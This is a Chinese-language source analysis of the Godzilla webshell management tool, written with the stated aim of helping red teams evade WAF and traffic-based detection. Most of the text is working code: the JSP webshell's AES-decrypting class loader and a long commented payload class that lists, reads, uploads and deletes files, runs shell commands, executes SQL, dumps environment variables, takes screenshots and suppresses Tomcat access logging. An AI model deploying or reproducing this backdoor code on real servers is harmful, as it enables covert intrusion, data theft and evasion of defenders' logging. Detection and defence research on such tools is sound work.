本文对哥斯拉工具生成后门流程、连接后门流程、后门文件、后门功能进行了分析
前言
哥斯拉(Godzilla)是一款国内流行且优秀的红队 webshell 权限管理工具,使用 java 开发的可视化客户端,shell 支持 java、php、asp 环境,通信流量使用 AES 算法加密,具有文件管理、数据库操作、命令执行、内存马、隧道反弹等后门功能。
具体介绍见:护网礼盒:哥斯拉 Godzilla shell 管理工具 BeichenDream ChaBug
HVV 期间,各大厂商的 waf 不断,在静态查杀、流量通信等方面对 webshell 进行拦截,经过安全厂商对流行黑客工具的持续关注,已有众多产品可以对哥斯拉默认通信流量进行识别或拦截,并且蓝队应急溯源小组在获取到后门文件硬编码密钥后,可结合全流量日志系统对所有操作进行解密还原,导致红队攻击行动一览无余。
经过分析工具源码逻辑,流量类安全产品底层检测原理,加解密原理后,产生了进一步的对抗思路,为缓解了以上困境,对工具二次修改实际测试验证了可行性。
0x00 哥斯拉源码分析
反编译 Godzilla-V2.96.jar 得到源码
目录结构
目录结构
.
├── core
│ ├── annotation 注解方法
│ ├── imp 接口定义
│ ├── shell 后门对象
│ └── ui 展示界面相关代码
├── org
│ ├── jb2011 界面美化皮肤库
│ └── sqlite sqlite库
├── shells
│ ├── cryptions 加密
│ ├── payloads 负载
│ └── plugins 插件
└── util 工具方法
文件描述
.
├── core
│ ├── ApplicationConfig.java 对比jar文件哈希值,检查版本更新
│ ├── ApplicationContext.java 程序初始化,字体、http头配置,加载有效载荷、加密器、插件
│ ├── Db.java 本地sqlite存储配置、shell连接等
│ ├── Encoding.java 支持网站多种字符编解码
│ ├── ProxyT.java 获取代理
│ ├── annotation 注解方法
│ │ ├── CryptionAnnotation.java 加密器注解
│ │ ├── PayloadAnnotation.java 有效载荷注解
│ │ └── PluginnAnnotation.java 插件注解
│ ├── imp 接口定义
│ │ ├── Cryption.java
│ │ ├── Payload.java
│ │ └── Plugin.java
│ ├── shell
│ │ └── ShellEntity.java 后门对象类,保存的后门相关属性,连接前初始化准备
│ └── ui 展示界面相关代码
│ ├── MainActivity.java 主窗口,程序入口main
│ ├── ShellManage.java 进入shell后的操作窗口
│ ├── component 窗口展示组件
│ │ ├── DataTree.java shell-文件管理-文件夹树形图
│ │ ├── DataView.java 多行表格展示控件
│ │ ├── GBC.java 页面布局
│ │ ├── RTextArea.java 文本框
│ │ ├── ShellBasicsInfo.java shell-基础信息
│ │ ├── ShellDatabasePanel.java shell-数据库
│ │ ├── ShellExecCommandPanel.java shell-命令执行
│ │ ├── ShellFileManager.java shell-文件管理
│ │ ├── ShellNote.java shell-笔记
│ │ ├── ShellRSFilePanel.java shell-文件管理-文件编辑
│ │ ├── dialog 对话框
│ │ │ ├── AppSeting.java 主窗口-程序配置,字体、header、核心配置
│ │ │ ├── DatabaseSetting.java shell-数据库管理-数据库连接配置
│ │ │ ├── FileDialog.java shell-文件管理-复制-源目的路径选择框
│ │ │ ├── GenerateShellLoder.java 主窗口-生成shell配置
│ │ │ ├── ImageShowDialog.java 更新提醒显示群二维码
│ │ │ ├── PluginManage.java 主窗口-插件配置
│ │ │ └── ShellSetting.java 主窗口-添加shell新连接的配置
│ │ ├── menu
│ │ │ └── ShellPopMenu.java shell-命令执行,右键复制粘贴的菜单
│ │ └── model
│ │ ├── DbInfo.java 数据库连接信息的数据模型
│ │ └── FileOpertionInfo.java 复制文件的数据模型
│ ├── imp
│ │ └── ActionDblClick.java 双击动作的接口
│ └── model
│ ├── DatabaseSql.java 内置mysql/sqlserver查库名表名条数的语句
│ └── osType.java 定义操作系统枚举
├── org 第三方库
│ ├── jb2011 界面美化皮肤库JackJiang2011/beautyeye相关代码
│ └── sqlite sqlite数据库相关代码
├── shells
│ ├── cryptions
│ │ ├── JavaAes
│ │ │ ├── Generate.java 生成shell文件
│ │ │ ├── JavaAesBase64.java 哥斯拉编解码base64格式的传输数据
│ │ │ ├── JavaAesRaw.java 哥斯拉编解码原始字节格式的传输数据
│ │ │ └── template
│ │ │ ├── base64Code.bin shell内容 base64格式传输指令和回显
│ │ │ ├── base64GlobalCode.bin shell内容 base64格式class加载器
│ │ │ ├── rawCode.bin shell内容 原始字节传输指令和回显
│ │ │ ├── rawGlobalCode.bin shell内容 原始字节class加载器
│ │ │ ├── shell.jsp jsp后门生成模板
│ │ │ └── shell.jspx jspx后门生成模板
│ │ ├── cshapAes
│ │ │ ├── CShapAesBase64.java
│ │ │ ├── CShapAesRaw.java
│ │ │ └── Generate.java
│ │ └── phpXor
│ │ ├── Generate.java
│ │ ├── PhpXor.java
│ │ └── PhpXorRaw.java
│ ├── payloads
│ │ ├── csharp
│ │ │ ├── CShapShell.java
│ │ │ └── assets
│ │ │ └── payload.dll
│ │ ├── java
│ │ │ ├── JavaShell.java
│ │ │ └── assets
│ │ │ └── payload.classs 给shell动态加载的类,运行相应指令
│ │ └── php
│ │ ├── PhpShell.java
│ │ └── assets
│ │ └── payload.php
│ └── plugins 高级功能插件
│ ├── cshap
│ │ ├── BadPotato.java
│ │ ├── CZip.java
│ │ ├── Lemon.java
│ │ ├── RealCmd.java
│ │ ├── SafetyKatz.java
│ │ ├── ShapWeb.java
│ │ ├── ShellcodeLoader.java
│ │ ├── SweetPotato.java
│ │ └── assets
│ │ ├── BadPotato.dll
│ │ ├── CZip.dll
│ │ ├── RevlCmd.dll
│ │ ├── SafetyKatz.dll
│ │ ├── SharpWeb.dll
│ │ ├── ShellcodeLoader.dll
│ │ ├── SweetPotato.dll
│ │ ├── lemon.dll
│ │ ├── meterpreterTip.txt
│ │ ├── reverse.bin
│ │ └── reverse64.bin
│ ├── java java后门插件
│ │ ├── EnumDatabaseConn.java
│ │ ├── JZip.java
│ │ ├── JarLoader.java
│ │ ├── MemoryShell.java
│ │ ├── Meterpreter.java
│ │ ├── RealCmd.java
│ │ ├── Screen.java
│ │ ├── ServletManage.java
│ │ └── assets
│ │ ├── AES_BASE64.classs
│ │ ├── AES_RAW.classs
│ │ ├── Behinder.classs 冰蝎
│ │ ├── Cknife.classs CKnife
│ │ ├── JZip.classs zip压缩
│ │ ├── JarLoader.classs 加载jar包
│ │ ├── Meterpreter.classs
│ │ ├── ReGeorg.classs
│ │ ├── RealCmd.classs
│ │ ├── ServletManage.classs 管理servlet路由
│ │ ├── ShellDriver.classs
│ │ ├── meterpreterTip.txt
│ │ └── mysql.jar
│ └── php
│ ├── ByPassOpenBasedir.java
│ ├── BypassDisableFunctions.java
│ ├── Meterpreter.java
│ ├── PZip.java
│ └── PhpEvalCode.java
└── util
├── JavaVersion.java 比较java版本
├── Log.java 输出日志
├── SystemUtils.java 工具类,系统版本路径等操作
├── automaticBindClick.java 绑定点击事件
├── functions.java 工具类 字节转换编码加密等
└── http
├── Http.java 发送http请求
├── HttpResponse.java 读取http响应
└── ReqParameter.java http参数
其中有几个值得注意的目录和文件
配置生成 shell 界面逻辑 core/ui/component/dialog/GenerateShellLoder.java
添加 shell 界面逻辑 core/ui/component/dialog/ShellSetting.java
加密器代码 shells/cryptions/javaAes
webshell 文件代码 shells/cryptions/javaAes/template
后门生成流程
core/ui/component/dialog/GenerateShellLoder.java
绘制生成界面
generateButtonClick()方法中调用 ApplicationContext.getCryption(),根据选择的不同加密器和 payloady 动态获得对应的 Cryption 实例
动态选择实例是怎么实现的呢?
程序启动时,扫描/shells/cryptions/目录下的.class 文件动态加载,core/ui/MainActivity.java#main()
→MainActivity()
→core/ApplicationContext.java#init()
→scanCryption()
实现加密算法的类继承自 Cryption 类,并设置注解,标记加密器名字和使用的 payload 名@CryptionAnnotation(Name = "JAVA_AES_BASE64", payloadName = "JavaDynamicPayload") public class JavaAesBase64 implements Cryption
带着界面上填写的密码密钥,传入 Cryption 实例 →generate()
→ 同目录下的Generate.java#GenerateShellLoder()
从 resources 资源目录读取通用代码和 shell 代码,替换密码部分,用模板拼接在一起,生成最终的后门文件
后门生成逻辑代码:
后门连接流程
core/ui/component/dialog/ShellSetting.java
绘制添加 shell 的界面
点击“测试连接”执行testButtonClick()
→core/shell/ShellEntity.java#initShellOpertion()
执行流程:
1、获取 payload 指令控制器,比如 JavaDynamicPayload 在shells/payloads/java/JavaShell.java
,在这个对象中包含给 webshell 运行的动态 payload shells/payloads/java/assets/payload.class
2、获取加密器实例,比如 JAVA_AES_RAW 在shells/cryptions/JavaAes/JavaAesRaw.java
3、初始化加密器,传入后门 URL,密码等上下文,给 shell 发送payload.class
4、初始化 payload 指令控制器,传入上下文数据
5、下发一个 test 指令,将参数methodName=test
加密后发送请求,shell 加载的payload.class
代码中实现一个 test 方法,执行后返回“ok”即为后门连接成功
下发指令请求代码逻辑:
下发 test 指令代码:
0x02 原版 webshell 代码分析
通用工具代码 rawGlobalCode.bin
aes 加解密,base64 编解码
// AES密钥
String xc="{secretKey}";
// 通过字节动态加载class
class X extends ClassLoader{
public X(ClassLoader z){
super(z);
}
public Class Q(byte[] cb){
return super.defineClass(cb, 0, cb.length);
}
}
// AES加解密方法,参数m为true加密,false解密
public byte[] x(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
// 密钥为 xc
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}
// base64解码
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] {String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
webshell 代码 rawCode.bin
获取解密后的数据,动态加载 payload 字节码,执行后门功能指令。
try{
// 创建一个byte数组,大小来自请求头中的Content-Length
byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
// 获取post数据流
java.io.InputStream inputStream= request.getInputStream();
// 已读取的长度
int _num=0;
// 从post流逐字节读取,写入data数组
while ((_num+=inputStream.read(data,_num,data.length))<data.length);
// 对post内容进行AES解密
data=x(data, false);
if (session.getAttribute("payload")==null){
// session中没有payload属性,代表第一次访问shell,传入数据当作payload加载,获取基础信息、命令执行、文件管理、数据库等功能的代码
// 这里data是payload.class的内容
session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));
}else{
// 已经加载过payload,此时请求当作调用payload
// 将请求数据保存到parameters属性
request.setAttribute("parameters", new String(data));
// 从session中取出payload新建实例对象
Object f=((Class)session.getAttribute("payload")).newInstance();
// 将页面上下文对象传递给payload对象
// 从请求属性中读取parameters
// 请求不记录日志
f.equals(pageContext);
// 调用toString()时,根据传入的parameters参数中的指令触发payload执行
// 解码base64字符串,加密后写入到响应体
response.getOutputStream().write(x(base64Decode(f.toString()), true));
}
}catch (Exception e){
}
shell 模版代码
由上面两部分拼接组合成完整的 webshell 文件
JSP:
<%!{globalCode}%><%{code}%>
JSPX:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>{globalCode}</jsp:declaration><jsp:scriptlet>{code}</jsp:scriptlet></jsp:root>
java payload 功能代码
实现后门指令功能,例如:文件操作,数据库操作,获取环境信息,截屏,执行命令等
import javax.servlet.jsp.*;
import java.text.*;
import java.nio.charset.*;
import java.awt.*;
import java.io.*;
import javax.imageio.*;
import java.awt.image.*;
import java.sql.*;
import org.apache.catalina.core.*;
import java.lang.reflect.*;
import javax.servlet.http.*;
import java.util.*;
public class payload extends ClassLoader
{
public final char[] toBase64;
PageContext pageContext;
HashMap praameterMap;
public payload() {
this.toBase64 = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
this.praameterMap = new HashMap();
}
public payload(final ClassLoader loader) {
super(loader);
this.toBase64 = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
this.praameterMap = new HashMap();
}
public static void main(final String[] args) {
final payload payload = new payload();
System.out.println(new String(payload.base64Decode(payload.base64Encode(new String(payload.getBasicsInfo())))));
}
public Class g(final byte[] b) {
return super.defineClass(b, 0, b.length);
}
public byte[] run() {
// 获得参数中的类名称
final String className = this.get("evalClassName");
// 获得参数中的方法名称
final String methodName = this.get("methodName");
if (methodName != null) {
// 没有类参数
if (className == null) {
try {
// 从当前类中获取方法
final Method method = this.getClass().getMethod(methodName, (Class<?>[])null);
// 方法返回类型必须是byte[]
if (method.getReturnType().isAssignableFrom(byte[].class)) {
// 调用方法
return (byte[])method.invoke(this, (Object[])null);
}
return "this method returnType not is byte[]".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
try {
// 从会话属性中获取类
final Class evalClass = (Class)this.pageContext.getSession().getAttribute(className);
if (evalClass != null) {
// 实例化
final Object object = evalClass.newInstance();
// 通过equals方法传递页面上下文
object.equals(this.pageContext);
// 通过toString方法执行调用
return this.base64Decode(object.toString());
}
return "eval class is null".getBytes();
}
catch (Exception e) {
final String message = e.getMessage();
return ((message == null) ? "java.lang.NullPointerException" : message).getBytes();
}
}
return "method is null".getBytes();
}
// 格式化参数
public void formatParameter() {
// 从页面请求属性中获得shell写入的参数
String parameterString = (String)this.pageContext.getRequest().getAttribute("parameters");
// 再拼接一个参数,增加兼容
parameterString = String.valueOf(parameterString) + "&ILikeYou=" + this.base64Encode("metoo");
// 先按&分割
final String[] parameters = parameterString.split("&");
// 依次遍历参数(格式aa=bbb)
for (int i = 0; i < parameters.length; ++i) {
final String onePraameter = parameters[i];
// 搜索“=”字符
final int index = onePraameter.indexOf(61);
if (index != -1) {
try {
// 得到参数名称
final String name = onePraameter.substring(0, index).trim();
// 得到参数值
final String value = onePraameter.substring(index + 1, onePraameter.length());
// 转成Map类型
this.praameterMap.put(name, this.base64Decode(value));
}
catch (Exception ex) {}
}
}
// 存储在请求上下文的属性中
this.pageContext.getRequest().setAttribute("parameters", (Object)this.praameterMap);
}
// 重写object对象的equals方法
@Override
public boolean equals(final Object obj) {
if (obj != null && PageContext.class.isAssignableFrom(obj.getClass())) {
// 页面上下文
this.pageContext = (PageContext)obj;
// 格式化参数
this.formatParameter();
// 不记录日志
this.noLog(this.pageContext);
return true;
}
return false;
}
// 重写object的toString方法
@Override
public String toString() {
// 调用run,根据参数动态选择对应的方法执行
final String returnString = new String(this.base64Encode(this.run()));
// 清空参数属性
this.pageContext.getRequest().setAttribute("parameters", (Object)null);
return returnString;
}
// 从参数属性Map中获取值
public String get(final String key) {
try {
return new String(this.praameterMap.get(key));
}
catch (Exception e) {
return null;
}
}
// 从参数属性Map中获取值
public byte[] getByteArray(final String key) {
try {
return this.praameterMap.get(key);
}
catch (Exception e) {
return null;
}
}
// 测试方法,用于客户端的“测试连接”功能
public byte[] test() {
return "ok".getBytes();
}
// 后门功能:获取目录中文件列表
public byte[] getFile() {
// 从参数中获取要打开的目录
String dirName = this.get("dirName");
if (dirName != null) {
dirName = dirName.trim();
String buffer = new String();
try {
// 目录绝对路径
final String currentDir = new File(dirName).getAbsoluteFile() + "/";
// 目录中的文件列表
final File[] files = new File(currentDir).listFiles();
buffer = String.valueOf(buffer) + "ok";
buffer = String.valueOf(buffer) + "\n";
buffer = String.valueOf(buffer) + currentDir;
buffer = String.valueOf(buffer) + "\n";
for (int i = 0; i < files.length; ++i) {
final File file = files[i];
try {
// 获取文件名、是否为目录、最后修改时间、文件大小、读写权限
buffer = String.valueOf(buffer) + file.getName();
buffer = String.valueOf(buffer) + "\t";
buffer = String.valueOf(buffer) + (file.isDirectory() ? "0" : "1");
buffer = String.valueOf(buffer) + "\t";
buffer = String.valueOf(buffer) + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(file.lastModified());
buffer = String.valueOf(buffer) + "\t";
buffer = String.valueOf(buffer) + Integer.toString((int)file.length());
buffer = String.valueOf(buffer) + "\t";
final String fileState = String.valueOf(file.canRead() ? "R" : "") + (file.canWrite() ? "W" : "");
buffer = String.valueOf(buffer) + ((fileState == null || fileState.trim().length() == 0) ? "F" : fileState);
buffer = String.valueOf(buffer) + "\n";
}
catch (Exception e) {
buffer = String.valueOf(buffer) + e.getMessage();
buffer = String.valueOf(buffer) + "\n";
}
}
}
catch (Exception e2) {
return "dir does not exist ".getBytes();
}
return buffer.getBytes();
}
return "No parameter dirName".getBytes();
}
// 后门功能:获取系统盘符
public String listFileRoot() {
final File[] files = File.listRoots();
String buffer = new String();
for (int i = 0; i < files.length; ++i) {
buffer = String.valueOf(buffer) + files[i].getPath();
buffer = String.valueOf(buffer) + ";";
}
return buffer;
}
// 后门功能:读取文件内容
public byte[] readFile() {
final String fileName = this.get("fileName");
if (fileName != null) {
final File file = new File(fileName);
try {
if (file.exists() && file.isFile()) {
final byte[] data = new byte[(int)file.length()];
if (data.length > 0) {
int readOneLen = 0;
final FileInputStream fileInputStream = new FileInputStream(file);
while ((readOneLen = fileInputStream.read(data, readOneLen, data.length - readOneLen)) != -1) {}
fileInputStream.close();
}
return data;
}
return "file does not exist".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter fileName".getBytes();
}
// 后门功能:上传文件
public byte[] uploadFile() {
final String fileName = this.get("fileName");
final byte[] fileValue = this.getByteArray("fileValue");
if (fileName != null && fileValue != null) {
try {
final File file = new File(fileName);
file.createNewFile();
final FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(fileValue);
fileOutputStream.close();
return "ok".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter fileName and fileValue".getBytes();
}
// 后门功能:新建文件
public byte[] newFile() {
final String fileName = this.get("fileName");
if (fileName != null) {
final File file = new File(fileName);
try {
if (file.createNewFile()) {
return "ok".getBytes();
}
return "fail".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter fileName".getBytes();
}
// 后门功能:新建目录
public byte[] newDir() {
final String dirName = this.get("dirName");
if (dirName != null) {
final File file = new File(dirName);
try {
if (file.mkdirs()) {
return "ok".getBytes();
}
return "fail".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter fileName".getBytes();
}
// 后门功能:删除文件
public byte[] deleteFile() {
final String dirName = this.get("fileName");
if (dirName != null) {
try {
final File file = new File(dirName);
this.deleteFiles(file);
return "ok".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter fileName".getBytes();
}
// 后门功能:移动文件
public byte[] moveFile() {
final String srcFileName = this.get("srcFileName");
final String destFileName = this.get("destFileName");
if (srcFileName != null && destFileName != null) {
final File file = new File(srcFileName);
try {
if (!file.exists()) {
return "The target does not exist".getBytes();
}
if (file.renameTo(new File(destFileName))) {
return "ok".getBytes();
}
return "fail".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter srcFileName,destFileName".getBytes();
}
// 后门功能:复制文件
public byte[] copyFile() {
final String srcFileName = this.get("srcFileName");
final String destFileName = this.get("destFileName");
if (srcFileName != null && destFileName != null) {
final File srcFile = new File(srcFileName);
final File destFile = new File(destFileName);
try {
if (srcFile.exists() && srcFile.isFile()) {
final FileInputStream fileInputStream = new FileInputStream(srcFile);
final FileOutputStream fileOutputStream = new FileOutputStream(destFile);
final byte[] data = new byte[5120];
int readNum = 0;
while ((readNum = fileInputStream.read(data)) > -1) {
fileOutputStream.write(data, 0, readNum);
}
fileInputStream.close();
fileOutputStream.close();
return "ok".getBytes();
}
return "The target does not exist or is not a file".getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter srcFileName,destFileName".getBytes();
}
// 后门功能:动态加载类
public byte[] include() {
final byte[] binCode = this.getByteArray("binCode");
final String className = this.get("codeName");
if (binCode != null && className != null) {
try {
final payload payload = new payload(this.getClass().getClassLoader());
this.pageContext.getSession().setAttribute(className, (Object)payload.g(binCode));
return "ok".getBytes();
}
catch (Exception e) {
if (this.pageContext.getSession().getAttribute(className) != null) {
return "ok".getBytes();
}
return e.getMessage().getBytes();
}
}
return "No parameter binCode,codeName".getBytes();
}
// 后门功能:执行命令
public byte[] execCommand() {
final String cmdLine = this.get("cmdLine");
if (cmdLine != null) {
try {
Process process;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmdLine });
}
else {
process = Runtime.getRuntime().exec(cmdLine);
}
String result = "";
final InputStream inputStream = process.getInputStream();
final InputStream errorInputStream = process.getErrorStream();
final BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, Charset.forName(System.getProperty("sun.jnu.encoding"))));
final BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorInputStream, Charset.forName(System.getProperty("sun.jnu.encoding"))));
for (String disr = br.readLine(); disr != null; disr = br.readLine()) {
result = String.valueOf(String.valueOf(result)) + disr + "\n";
}
for (String disr = errorReader.readLine(); disr != null; disr = br.readLine()) {
result = String.valueOf(String.valueOf(result)) + disr + "\n";
}
return result.getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return "No parameter cmdLine".getBytes();
}
// 后门功能:获取系统基本信息
public byte[] getBasicsInfo() {
try {
final Enumeration<Object> keys = ((Hashtable<Object, V>)System.getProperties()).keys();
String basicsInfo = new String();
basicsInfo = String.valueOf(basicsInfo) + "FileRoot : " + this.listFileRoot() + "\n";
basicsInfo = String.valueOf(basicsInfo) + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n";
basicsInfo = String.valueOf(basicsInfo) + "CurrentUser : " + System.getProperty("user.name") + "\n";
basicsInfo = String.valueOf(basicsInfo) + "DocBase : " + this.getDocBase() + "\n";
basicsInfo = String.valueOf(basicsInfo) + "RealFile : " + this.getRealPath() + "\n";
try {
basicsInfo = String.valueOf(basicsInfo) + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "\n";
}
catch (Exception e) {
basicsInfo = String.valueOf(basicsInfo) + "OsInfo : " + e.getMessage() + "\n";
}
while (keys.hasMoreElements()) {
final Object object = keys.nextElement();
if (object instanceof String) {
final String key = (String)object;
basicsInfo = String.valueOf(basicsInfo) + key + " : " + System.getProperty(key) + "\n";
}
}
final Map<String, String> envMap = this.getEnv();
if (envMap != null) {
for (final String key2 : envMap.keySet()) {
basicsInfo = String.valueOf(basicsInfo) + key2 + " : " + envMap.get(key2) + "\n";
}
}
return basicsInfo.getBytes();
}
catch (Exception e2) {
return e2.getMessage().getBytes();
}
}
// 后门功能:截屏
public byte[] screen() {
try {
final Robot robot = new Robot();
final BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
final ByteArrayOutputStream bs = new ByteArrayOutputStream();
ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs));
final byte[] data = bs.toByteArray();
bs.close();
return data;
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
// 后门功能:执行SQL
public byte[] execSql() {
final String dbType = this.get("dbType");
final String dbHost = this.get("dbHost");
final String dbPort = this.get("dbPort");
final String dbUsername = this.get("dbUsername");
final String dbPassword = this.get("dbPassword");
final String execType = this.get("execType");
final String execSql = this.get("execSql");
if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) {
try {
try {
Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
}
catch (Exception ex) {}
try {
Class.forName("oracle.jdbc.driver.OracleDriver");
}
catch (Exception ex2) {}
try {
Class.forName("com.mysql.cj.jdbc.Driver");
}
catch (Exception e2) {
try {
Class.forName("com.mysql.jdbc.Driver");
}
catch (Exception ex3) {}
}
try {
Class.forName("org.postgresql.Driver");
}
catch (Exception ex4) {}
String connectUrl = null;
if ("mysql".equals(dbType)) {
connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true";
}
else if ("oracle".equals(dbType)) {
connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort;
}
else if ("sqlserver".equals(dbType)) {
connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";";
}
else if ("postgresql".equals(dbType)) {
connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/";
}
if (dbHost.indexOf("jdbc:") != -1) {
connectUrl = dbHost;
}
if (connectUrl != null) {
try {
final Connection dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword);
final Statement statement = dbConn.createStatement();
if (execType.equals("select")) {
String data = "ok\n";
final ResultSet resultSet = statement.executeQuery(execSql);
final ResultSetMetaData metaData = resultSet.getMetaData();
final int columnNum = metaData.getColumnCount();
for (int i = 0; i < columnNum; ++i) {
data = String.valueOf(data) + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "\t";
}
data = String.valueOf(data) + "\n";
while (resultSet.next()) {
for (int i = 0; i < columnNum; ++i) {
data = String.valueOf(data) + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "\t";
}
data = String.valueOf(data) + "\n";
}
resultSet.close();
statement.close();
dbConn.close();
return data.getBytes();
}
final int affectedNum = statement.executeUpdate(execSql);
statement.close();
dbConn.close();
return ("Query OK, " + affectedNum + " rows affected").getBytes();
}
catch (Exception e) {
return e.getMessage().getBytes();
}
}
return ("no " + dbType + " Dbtype").getBytes();
}
catch (Exception e2) {
return e2.getMessage().getBytes();
}
}
return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes();
}
// 后门功能:获取环境变量
public Map<String, String> getEnv() {
try {
final int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));
if (jreVersion >= 5) {
try {
final Method method = System.class.getMethod("getenv", (Class<?>[])new Class[0]);
if (method != null && method.getReturnType().isAssignableFrom(Map.class)) {
return (Map<String, String>)method.invoke(null, (Object[])null);
}
return null;
}
catch (Exception e) {
return null;
}
}
return null;
}
catch (Exception e2) {
return null;
}
}
//
public String getDocBase() {
try {
final Field contextField = this.pageContext.getServletContext().getClass().getDeclaredField("context");
contextField.setAccessible(true);
try {
Class.forName("org.apache.catalina.core.ApplicationContext");
Class.forName("org.apache.catalina.core.StandardContext");
final ApplicationContext o = (ApplicationContext)contextField.get(this.pageContext.getServletContext());
final Field field = o.getClass().getDeclaredField("context");
field.setAccessible(true);
final StandardContext standardContext = (StandardContext)field.get(o);
return standardContext.getDocBase();
}
catch (Exception e) {
return e.getMessage();
}
}
catch (Exception e2) {
return e2.getMessage();
}
}
// 获取url对应物理路径
public String getRealPath() {
try {
return this.pageContext.getServletContext().getRealPath(((HttpServletRequest)this.pageContext.getRequest()).getRequestURI());
}
catch (Exception e) {
return e.getMessage();
}
}
// 后门功能:删除文件
public void deleteFiles(final File f) throws Exception {
if (f.isDirectory()) {
final File[] x = f.listFiles();
File[] array;
for (int length = (array = x).length, i = 0; i < length; ++i) {
final File fs = array[i];
this.deleteFiles(fs);
}
}
f.delete();
}
// 动态调用方法
Object invoke(final Object obj, final String methodName, final Object... parameters) {
try {
final ArrayList classes = new ArrayList();
if (parameters != null) {
for (int i = 0; i < parameters.length; ++i) {
final Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
}
else {
classes.add(null);
}
}
}
final Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));
return method.invoke(obj, parameters);
}
catch (Exception ex) {
return null;
}
}
Method getMethodByClass(Class cs, final String methodName, final Class... parameters) {
Method method = null;
while (cs != null) {
try {
method = cs.getDeclaredMethod(methodName, (Class[])parameters);
cs = null;
}
catch (Exception e) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
}
else {
final Method method = null;
Class cs = obj.getClass();
while (cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
}
catch (Exception e) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
private void noLog(final PageContext pc) {
try {
final Object applicationContext = getFieldValue(pc.getServletContext(), "context");
Object container = getFieldValue(applicationContext, "context");
final ArrayList arrayList = new ArrayList();
while (container != null) {
arrayList.add(container);
container = this.invoke(container, "getParent", (Object[])null);
}
for (int i = 0; i < arrayList.size(); ++i) {
try {
final Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while (valve != null) {
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition", new Object[0]);
